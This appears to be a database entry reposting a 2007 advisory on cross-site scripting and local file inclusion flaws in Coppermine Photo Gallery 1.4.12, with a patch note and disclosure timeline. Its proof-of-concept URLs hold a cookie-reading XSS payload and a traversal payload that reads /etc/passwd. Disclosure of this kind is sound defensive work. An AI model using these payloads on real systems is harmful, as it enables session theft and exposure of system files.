Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052890 漏洞类型
发布时间 2007-09-19 更新时间 2007-09-19
CVE编号 CVE-2007-4976
CVE-2007-4977
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007090068
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
============================================================
Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
============================================================

Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting/Local File Inclusion
Status: patch available

------------------------------
Affected software description:
------------------------------

Application: Coppermine Photo Gallery
Version: <= 1.4.12
Vendor: http://coppermine-gallery.net

Description:
Coppermine is a multi-purpose fully-featured and integrated
web picture gallery script written in PHP using GD or ImageMagick
as image library with a MySQL backend.

----------------
Vulnerabilities:
----------------

The script mode.php does not properly sanitize the "referer" parameter.

The script viewlog.php does not properly sanitize the "log" parameter.

------------
Poc/Exploit:
------------

http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:alert(docu
ment.cookie)

http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/pass
wd%00
(should need admin privileges)

---------
Solution:
---------

update to 1.4.13 or above

---------
Timeline:
---------

03.09.2007 - vendor informed
14.09.2007 - patch released by vendor
17.09.2007 - public disclosure